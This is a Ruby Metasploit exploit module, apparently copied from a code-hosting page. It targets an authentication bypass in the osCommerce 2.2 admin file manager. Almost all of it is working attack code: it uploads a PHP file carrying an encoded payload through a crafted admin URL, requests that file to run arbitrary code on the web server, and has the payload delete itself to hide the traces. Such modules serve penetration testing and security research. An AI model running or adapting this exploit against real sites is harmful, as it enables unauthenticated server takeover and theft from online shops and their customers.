104 lines
3.5 KiB
Ruby
104 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
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'Description' => %q{
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osCommerce is a popular open source E-Commerce application.
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The admin console contains a file management utility that
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allows administrators to upload, download, and edit files.
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This could be abused to allow unauthenticated attackers to
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execute arbitrary code with the permissions of the
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webserver.
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},
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'Author' => [ 'egypt' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '60018' ],
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[ 'EDB', '9556' ]
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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'Space' => 4000,
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# max url length for some old versions of apache according to
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# http://www.boutell.com/newfaq/misc/urllength.html
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'DisableNops' => true,
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#'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
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'Compat' =>
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{
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'ConnectionType' => 'find',
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},
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# Since our payload is uploaded as a file, it is polite to
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# clean up after ourselves.
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'Prepend' => "unlink(__FILE__);",
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'Keys' => ['php'],
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 31 2009'
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))
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register_options(
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[
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OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']),
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], self.class)
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end
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def exploit
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# Our filename gets run through basename(), so we can have arbitrary
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# junk in front of slashes and it will get stripped out. The unlink in
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# Payload => Prepend above ensures that the file is deleted.
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filename = rand_text_alphanumeric(rand(5)+5) + "/"
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(rand(5)+5).times do
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filename << rand_text_alphanumeric(rand(5)+5) + "/"
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end
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filename << rand_text_alphanumeric(rand(5)+5) + ".php"
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p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
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p = Rex::Text.uri_encode(p)
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data = "filename=#{filename}&file_contents=#{p}"
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print_status("Sending file save request")
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response = send_request_raw({
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'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
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'method' => 'POST',
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'data' => data,
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'ctype' => 'application/x-www-form-urlencoded'
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}, 3)
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# If the upload worked, the server tries to redirect us to some info
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# about the file we just saved
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if response and response.code != 302
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print_error("Server returned non-302 status code (#{response.code})")
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end
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print_status("Requesting our payload")
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# very short timeout because the request may never return if we're
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# sending a socket payload
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timeout = 0.1
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response = send_request_raw({
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# Allow findsock payloads to work
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'global' => true,
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'uri' => normalize_uri(datastore['URI'], File.basename(filename))
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}, timeout)
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handler
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end
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end
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